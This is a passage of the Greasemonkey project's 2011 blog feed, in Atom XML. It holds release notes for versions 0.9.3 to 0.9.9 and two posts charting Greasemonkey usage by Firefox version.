src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-1843378563345982230</id><published>2011-08-12T07:13:00.000-07:00</published><updated>2011-08-22T13:01:56.450-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='release'/><title type='text'>Greasemonkey 0.9.9 Release</title><content type='html'>&lt;span style="font-weight: bold; font-style: italic;"&gt;Update&lt;/span&gt;: Mozilla did not pass this version for review.  Since 0.9.10 was already underway, their requested changes were made there.  This version never really hit a public release.&lt;br /&gt;&lt;br /&gt;The entire list of bugs handled in this release is also available via the &lt;a href="https://github.com/greasemonkey/greasemonkey/issues?state=closed&amp;amp;milestone=24"&gt;0.9.9 milestone&lt;/a&gt; on GitHub.  Note that as always it takes some time for Mozilla to review the new version, but it's available on the &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/greasemonkey/versions/"&gt;all versions&lt;/a&gt; page immediately.&lt;br /&gt;&lt;br /&gt;If you are using it and notice problems, it's best to either let us know at &lt;a href="http://groups.google.com/group/greasemonkey-dev"&gt;greasemonkey-dev&lt;/a&gt; or &lt;a href="https://github.com/greasemonkey/greasemonkey/issues/new"&gt;log an issue&lt;/a&gt; (and be clear that it's with this version).&lt;br /&gt;&lt;br /&gt;Bug fixes:&lt;ul&gt;&lt;li&gt;Pressing 'back' could rarely cause a script to run twice on the same page. (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1083"&gt;#1083&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Extended characters would get corrupted in new scripts. (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1236"&gt;#1236&lt;/a&gt;, &lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1315"&gt;#1315&lt;/a&gt;)&lt;br /&gt;&lt;/li&gt;&lt;li&gt;A full disk could cause loss of data (especially config.xml). (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1301"&gt;#1301&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;(Affecting 0.9.8) Scripts would not install (all scripts in Firefox 3: &lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1389"&gt;#1389&lt;/a&gt;, always for certain scripts: &lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1391"&gt;#1391&lt;/a&gt;)&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;Enhancements:&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:courier new;"&gt;GM_xmlhttpRequest()&lt;/span&gt; provides progress events. (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1081"&gt;#1081&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:courier new;"&gt;GM_xmlhttpRequset()&lt;/span&gt; provides a synchronous mode. (&lt;a href="https://github.com/greasemonkey/greasemonkey/pull/1269"&gt;#1269&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;By popular demand: a UI for editing &lt;span style="font-family:courier new;"&gt;@include&lt;/span&gt;s and &lt;span style="font-family:courier new;"&gt;@exclude&lt;/span&gt;s. (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1362"&gt;#1362&lt;/a&gt;)&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-1843378563345982230?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/1843378563345982230/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=1843378563345982230' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/1843378563345982230'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/1843378563345982230'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2011/08/greasemonkey-099-release.html' title='Greasemonkey 0.9.9 Release'/><author><name>arantius</name><uri>http://www.blogger.com/profile/14641102142645956202</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-1271518785717451938</id><published>2011-08-05T12:47:00.000-07:00</published><updated>2011-08-05T14:34:34.593-07:00</updated><title type='text'>Greasemonkey Usage by Firefox Version, August 2011</title><content type='html'>I'm revisiting the Greasemonkey usage topic.  A &lt;a href="https://github.com/greasemonkey/greasemonkey/commit/797d4247473d25f8b39135be3b5a2db87da74371#install.rdf"&gt;short while back&lt;/a&gt;, we decided to drop support for Firefox 3.0 from new versions of Greasemonkey, somewhat based on the &lt;a href="http://www.greasespot.net/2011/07/greasemonkey-usage-by-firefox-version.html"&gt;similar work&lt;/a&gt; I did back then.  But I realize that last graph wasn't very well done, it didn't reveal the 3.x usage clearly.  So here's an interactive trend graph that makes it much more obvious:&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;script type="text/javascript" src="//ajax.googleapis.com/ajax/static/modules/gviz/1.0/chart.js"&gt; {"dataSourceUrl":"//spreadsheets.google.com/spreadsheet/tq?key=0AnbPKNXgZu0-dFpTZzFMa19NTXhoM3g4dEx6OFNhTlE&amp;transpose=0&amp;headers=1&amp;range=A1%3AF175&amp;gid=0&amp;pub=1","options":{"displayAnnotations":true,"thickness":2,"displayRangeSelector":true,"displayZoomButtons":true,"hasLabelsColumn":true,"wmode":"opaque","hAxis":{"maxAlternation":1},"width":448,"height":237},"state":{},"chartType":"AnnotatedTimeLine","chartName":"Greasemonkey Usage, by Firefox Version"} &lt;/script&gt;&lt;noscript&gt;This graph rendered via javascript only.&lt;/noscript&gt;&lt;/center&gt;&lt;br /&gt;(Access &lt;a href="https://spreadsheets.google.com/spreadsheet/ccc?key=0AnbPKNXgZu0-dFpTZzFMa19NTXhoM3g4dEx6OFNhTlE&amp;amp;hl=en_US#gid=1"&gt;the raw data and a larger graph&lt;/a&gt; at Google Docs.)&lt;br /&gt;&lt;br /&gt;It turns out that Firefox 3.5 is even less used than 3.0, both well under 5%.  On the other hand, as mentioned, 3.6 is still 25% of usage.  It may well mean that we drop 3.5 support and take advantage of some of the behind-the-scenes things available only in 3.6 and higher very soon.&lt;br /&gt;&lt;br /&gt;P.S. There's also some graphs, by &lt;a href="https://spreadsheets.google.com/spreadsheet/ccc?key=0AnbPKNXgZu0-dFVkQk03M3RPSnhnRXV6NVJ4Tm0weHc&amp;amp;hl=en_US#gid=1"&gt;major version&lt;/a&gt;, and &lt;a href="https://spreadsheets.google.com/spreadsheet/ccc?key=0AnbPKNXgZu0-dFVkQk03M3RPSnhnRXV6NVJ4Tm0weHc&amp;amp;hl=en_US#gid=2"&gt;minor version within 0.9&lt;/a&gt;, of Greasemonkey usage.&lt;br /&gt;&lt;br /&gt;Nerd alert: To make this graph, I started with &lt;a href="https://addons.mozilla.org/en-US/statistics/addon/748"&gt;the AMO statistics&lt;/a&gt;, and passed it through &lt;a href="https://gist.github.com/1128338"&gt;a python script&lt;/a&gt; to clean up and combine the (patch level) versions.  By hand, I rearranged the data into a 7-day moving average for the versions I was interested in: 3.0 and higher.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-1271518785717451938?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/1271518785717451938/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=1271518785717451938' title='11 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/1271518785717451938'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/1271518785717451938'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2011/08/greasemonkey-usage-by-firefox-version.html' title='Greasemonkey Usage by Firefox Version, August 2011'/><author><name>arantius</name><uri>http://www.blogger.com/profile/14641102142645956202</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>11</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-9078413894483403535</id><published>2011-08-01T08:35:00.000-07:00</published><updated>2011-08-01T08:44:34.967-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='release'/><title type='text'>Greasemonkey 0.9.8 Release</title><content type='html'>Bug fixes:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;User scripts cannot run in any &lt;span style="font-family:courier new;"&gt;about:&lt;/span&gt; pages besides &lt;span style="font-family:courier new;"&gt;about:blank&lt;/span&gt;.  (Security enhancement; &lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1375"&gt;#1375&lt;/a&gt;)&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;Enhancements:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Global, user specified, &lt;span style="font-family:courier new;"&gt;@exclude&lt;/span&gt; rules.  (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1002"&gt;#1002&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;New &lt;span style="font-family:courier new;"&gt;@run-at&lt;/span&gt; metadata imperative, which supports value &lt;span style="font-family:courier new;"&gt;document-start&lt;/span&gt;, as well as the standard &lt;span style="font-family:courier new;"&gt;document-end&lt;/span&gt; behavior.  Please see &lt;a href="http://wiki.greasespot.net/Metadata_Block#.40run-at"&gt;the documentation&lt;/a&gt;.  (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1103"&gt;#1103&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Support for &lt;span style="font-family:courier new;"&gt;@match&lt;/span&gt; metadata imperative, as implemented by Google Chrome.  Thanks to &lt;a href="https://github.com/scriptish/scriptish/"&gt;Scriptish&lt;/a&gt; for original implementation. (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1377"&gt;#1377&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Support for full regular expression syntax in &lt;span style="font-family:courier new;"&gt;@include&lt;/span&gt;/&lt;span style="font-family:courier new;"&gt;@exclude&lt;/span&gt; rules.  Please see &lt;a href="http://wiki.greasespot.net/Include_and_exclude_rules"&gt;the documentation&lt;/a&gt;.  (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1378"&gt;#1378&lt;/a&gt;)&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;The entire list of bugs handled in this release is also available via the &lt;a href="https://github.com/greasemonkey/greasemonkey/issues?state=closed&amp;amp;milestone=22"&gt;0.9.8 milestone&lt;/a&gt; on GitHub.  Note that as always it takes some time for Mozilla to review the new version, but it's available on the &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/greasemonkey/versions/"&gt;all versions&lt;/a&gt; page immediately.&lt;br /&gt;&lt;br /&gt;If you are using it and notice problems, it's best to either let us know at &lt;a href="http://groups.google.com/group/greasemonkey-dev"&gt;greasemonkey-dev&lt;/a&gt; or &lt;a href="https://github.com/greasemonkey/greasemonkey/issues/new"&gt;log an issue&lt;/a&gt; (and be clear that it's with this version).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-9078413894483403535?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/9078413894483403535/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=9078413894483403535' title='8 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/9078413894483403535'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/9078413894483403535'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2011/08/greasemonkey-098-release.html' title='Greasemonkey 0.9.8 Release'/><author><name>arantius</name><uri>http://www.blogger.com/profile/14641102142645956202</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-3861149335513330170</id><published>2011-07-14T09:19:00.000-07:00</published><updated>2011-07-14T09:28:14.013-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='release'/><title type='text'>Greasemonkey 0.9.7 Release</title><content type='html'>Bug fixes:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Scripts with broken &lt;span style="font-family:courier new;"&gt;@icon&lt;/span&gt;s will install, just with no icon. (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1214"&gt;#1214&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Editing the &lt;span style="font-family:courier new;"&gt;@icon&lt;/span&gt; line of a script will take effect immediately.  (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1215"&gt;#1215&lt;/a&gt;)&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Remote resources (&lt;span style="font-family:courier new;"&gt;@require&lt;/span&gt;, &lt;span style="font-family:courier new;"&gt;@resource&lt;/span&gt;, &lt;span style="font-family:courier new;"&gt;@icon&lt;/span&gt;) that redirect to other URLs will now work.  (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1222"&gt;#1222&lt;/a&gt;)&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;Enhancements:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Compatibility with Firefox 6 and 7.  (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1357"&gt;#1357&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:courier new;"&gt;GM_openInTab()&lt;/span&gt; will respect the &lt;span style="font-family:courier new;"&gt;insertRelatedAfterCurrent&lt;/span&gt; preference.  (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1370"&gt;#1370&lt;/a&gt;)&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;The entire list of bugs handled in this release is also available via the &lt;a href="https://github.com/greasemonkey/greasemonkey/issues?state=closed&amp;amp;milestone=21"&gt;0.9.7 milestone&lt;/a&gt; on GitHub.  Note that as always it takes some time for Mozilla to review the new version, but it's available on the &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/greasemonkey/versions/"&gt;all versions&lt;/a&gt; page immediately.&lt;br /&gt;&lt;br /&gt;If you are using it and notice problems, it's best to either let us know at &lt;a href="http://groups.google.com/group/greasemonkey-dev"&gt;greasemonkey-dev&lt;/a&gt; or &lt;a href="https://github.com/greasemonkey/greasemonkey/issues/new"&gt;log an issue&lt;/a&gt; (and be clear that it's with this version).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-3861149335513330170?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/3861149335513330170/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=3861149335513330170' title='12 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/3861149335513330170'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/3861149335513330170'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2011/07/greasemonkey-097-release.html' title='Greasemonkey 0.9.7 Release'/><author><name>arantius</name><uri>http://www.blogger.com/profile/14641102142645956202</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>12</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-5021839331851362132</id><published>2011-07-08T12:59:00.000-07:00</published><updated>2011-07-08T13:10:42.919-07:00</updated><title type='text'>Greasemonkey Usage by Firefox Version, July 2011</title><content type='html'>I wrote &lt;a href="http://www.greasespot.net/2011/04/greasemonkey-usage-by-firefox-version.html"&gt;a very similar post three months ago&lt;/a&gt;, but there's been a lot of real motion along Mozilla's fast release track since then.  It's worth revisiting these numbers:&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-0tT4Ji_uunE/ThdiHA0mhmI/AAAAAAAABds/hMvLpJZZCm4/s1600/jul-2011.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 247px;" src="http://4.bp.blogspot.com/-0tT4Ji_uunE/ThdiHA0mhmI/AAAAAAAABds/hMvLpJZZCm4/s400/jul-2011.png" alt="" id="BLOGGER_PHOTO_ID_5627074132041959010" border="0" /&gt;&lt;/a&gt;Click for a larger image, or &lt;a href="https://spreadsheets.google.com/spreadsheet/ccc?key=0AnbPKNXgZu0-dEpvc29FMnp4MkljTm82OWlBN00tckE&amp;amp;hl=en_US"&gt;browse the data&lt;/a&gt; in Google Docs, with a larger view and a line chart as well.&lt;br /&gt;&lt;br /&gt;This stacked area chart makes a few of trends obvious: Firefox 4 became very popular over its short life, and Firefox 5 is quickly replacing it.  But also: Firefox 3.6 is definitely still kicking, at the second most common browser over the past week.  Here's some data; the average daily usage for each version over the past week:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;5.0 1,589,647&lt;/li&gt;&lt;li&gt;3.6 798,062&lt;/li&gt;&lt;li&gt;4.0 461,349&lt;/li&gt;&lt;li&gt;3.0 150,314&lt;/li&gt;&lt;li&gt;3.5 117,740&lt;/li&gt;&lt;li&gt;2.0 13,144&lt;/li&gt;&lt;li&gt;6.0 2,596&lt;/li&gt;&lt;li&gt;7.0 1,990&lt;/li&gt;&lt;li&gt;1.5 392&lt;/li&gt;&lt;/ul&gt;Or: Version 3.x (1,066,116) is still one third of total usage (3,135,233).  And even if 4.0 is dropping quickly, right now it's still almost a quarter of the total post-3 users.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-5021839331851362132?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/5021839331851362132/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=5021839331851362132' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/5021839331851362132'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/5021839331851362132'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2011/07/greasemonkey-usage-by-firefox-version.html' title='Greasemonkey Usage by Firefox Version, July 2011'/><author><name>arantius</name><uri>http://www.blogger.com/profile/14641102142645956202</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-0tT4Ji_uunE/ThdiHA0mhmI/AAAAAAAABds/hMvLpJZZCm4/s72-c/jul-2011.png' height='72' width='72'/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-1589476089072619052</id><published>2011-06-24T10:21:00.000-07:00</published><updated>2011-06-24T10:27:49.044-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='release'/><title type='text'>Greasemonkey 0.9.6 Release</title><content type='html'>Bug fixes:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:courier new;"&gt;GM_openInTab()&lt;/span&gt; fails in Firefox 3. (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1361"&gt;#1361&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Firefox 5: Error in Add-ons Manager. (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1367"&gt;#1367&lt;/a&gt;)&lt;/li&gt;&lt;/ul&gt;Enhancements:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Add "get user scripts" link to the Add-ons Manager.  (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1213"&gt;#1213&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Pass site cookies when downloading scripts.  (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1359"&gt;#1359&lt;/a&gt;)&lt;/li&gt;&lt;/ul&gt;The entire list of bugs handled in this release is also available via the &lt;a href="https://github.com/greasemonkey/greasemonkey/issues?state=closed&amp;amp;milestone=20"&gt;0.9.6 milestone&lt;/a&gt; on GitHub.  Note that as always it takes some time for Mozilla to review the new version, and it's available on the &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/greasemonkey/versions/"&gt;all versions&lt;/a&gt; page.  If you are using it and notice problems, it's best to either let us know at &lt;a href="http://groups.google.com/group/greasemonkey-dev"&gt;greasemonkey-dev&lt;/a&gt; or &lt;a href="https://github.com/greasemonkey/greasemonkey/issues/new"&gt;log an issue&lt;/a&gt; (and be clear that it's with this version).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-1589476089072619052?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/1589476089072619052/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=1589476089072619052' title='8 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/1589476089072619052'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/1589476089072619052'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2011/06/greasemonkey-096-release.html' title='Greasemonkey 0.9.6 Release'/><author><name>arantius</name><uri>http://www.blogger.com/profile/14641102142645956202</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-7437466294688674453</id><published>2011-05-26T09:40:00.000-07:00</published><updated>2011-05-26T09:49:38.760-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='release'/><title type='text'>Greasemonkey 0.9.5 Release</title><content type='html'>Primarily because a serious issue was found in the not-yet-reviewed 0.9.4, version 0.9.5 has been hurried out.&lt;br /&gt;&lt;br /&gt;Bug fixes:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Installing and uninstalling the same script many times does not work properly. (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1353"&gt;#1353&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: courier new;"&gt;GM_xmlhttpRequest()&lt;/span&gt; does not work in Firefox 5 betas. (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1354"&gt;#1354&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;(Introduced in 0.9.4:) Cannot enable nor disable scripts. (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1355"&gt;#1355&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Installing the first user script while the user scripts pane of the add-ons manager is open leaves the "no user scripts" warning. (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1356"&gt;#1356&lt;/a&gt;)&lt;/li&gt;&lt;/ul&gt;Enhancements:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;The installation dialog shows the script version, if provided with &lt;span style="font-family: courier new;"&gt;@version&lt;/span&gt;.  (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1349"&gt;#1349&lt;/a&gt;)&lt;/li&gt;&lt;/ul&gt;The entire list of bugs handled in this release is also available via the &lt;a href="https://github.com/greasemonkey/greasemonkey/issues?state=closed&amp;amp;milestone=19"&gt;0.9.5 milestone&lt;/a&gt; on GitHub.  Note that as always it takes some time for Mozilla to review the new version, and it's available on the &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/greasemonkey/versions/"&gt;all versions&lt;/a&gt; page.  If you are using it and notice problems, it's best to either let us know at &lt;a href="http://groups.google.com/group/greasemonkey-dev"&gt;greasemonkey-dev&lt;/a&gt; or &lt;a href="https://github.com/greasemonkey/greasemonkey/issues/new"&gt;log an issue&lt;/a&gt; (and be clear that it's with this version).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-7437466294688674453?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/7437466294688674453/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=7437466294688674453' title='10 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/7437466294688674453'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/7437466294688674453'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2011/05/greasemonkey-095-release.html' title='Greasemonkey 0.9.5 Release'/><author><name>arantius</name><uri>http://www.blogger.com/profile/14641102142645956202</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>10</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-6553836533587833315</id><published>2011-05-24T12:20:00.000-07:00</published><updated>2011-05-26T09:40:37.068-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='release'/><title type='text'>Greasemonkey 0.9.4 Release</title><content type='html'>Bug fixes:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;The GM_openInTab() API again returns a handle to the window object. (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1298"&gt;#1298&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Using &lt;span style="font-family:courier new;"&gt;alert()&lt;/span&gt; will not break &lt;span style="font-family:courier new;"&gt;setTimeout()&lt;/span&gt; nor &lt;span style="font-family:courier new;"&gt;GM_xmlhttpRequest()&lt;/span&gt;.  (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1318"&gt;#1318&lt;/a&gt;)&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt;NOTE&lt;/span&gt;: we currently only have a work-around in place, watch &lt;a href="https://bugzilla.mozilla.org/show_bug.cgi?id=647727"&gt;mozilla bug 647727&lt;/a&gt; for a real fix.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;Enhancements:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;When re-ordering execution of scripts: clicking the first/last item disables sooner/later items, and picking any of these will switch to Execution Order sort (if it is not already selected).&lt;/li&gt;&lt;li&gt;Removed the detail view for user scripts, which did not contain any more information than the list view.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;The entire list of bugs handled in this release is also available via the &lt;a href="https://github.com/greasemonkey/greasemonkey/issues?state=closed&amp;amp;milestone=18"&gt;0.9.4 milestone&lt;/a&gt; on GitHub.  Note that as always it takes some time for Mozilla to review the new version, and it's available on the &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/greasemonkey/versions/"&gt;all versions&lt;/a&gt; page.  If you are using it and notice problems, it's best to either let us know at &lt;a href="http://groups.google.com/group/greasemonkey-dev"&gt;greasemonkey-dev&lt;/a&gt; or &lt;a href="https://github.com/greasemonkey/greasemonkey/issues/new"&gt;log an issue&lt;/a&gt; (and be clear that it's with this version).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-6553836533587833315?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/6553836533587833315/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=6553836533587833315' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/6553836533587833315'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/6553836533587833315'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2011/05/greasemonkey-094-release.html' title='Greasemonkey 0.9.4 Release'/><author><name>arantius</name><uri>http://www.blogger.com/profile/14641102142645956202</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-2033169838652811339</id><published>2011-04-28T14:05:00.000-07:00</published><updated>2011-05-24T12:20:26.540-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='release'/><title type='text'>Greasemonkey 0.9.3 Release</title><content type='html'>Bug fixes:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Error message logged ("Redeclaration of const document")/high CPU usage when closing the sidebar. (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1226"&gt;#1226&lt;/a&gt;, &lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1298"&gt;#1298&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Navigating to a &lt;span style="font-family:courier new;"&gt;.user.js&lt;/span&gt; inside a frame works like anywhere else.  (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1248"&gt;#1248&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;The list of user scripts in the Add-ons Manager would sometimes forget its sort order.  (&lt;a 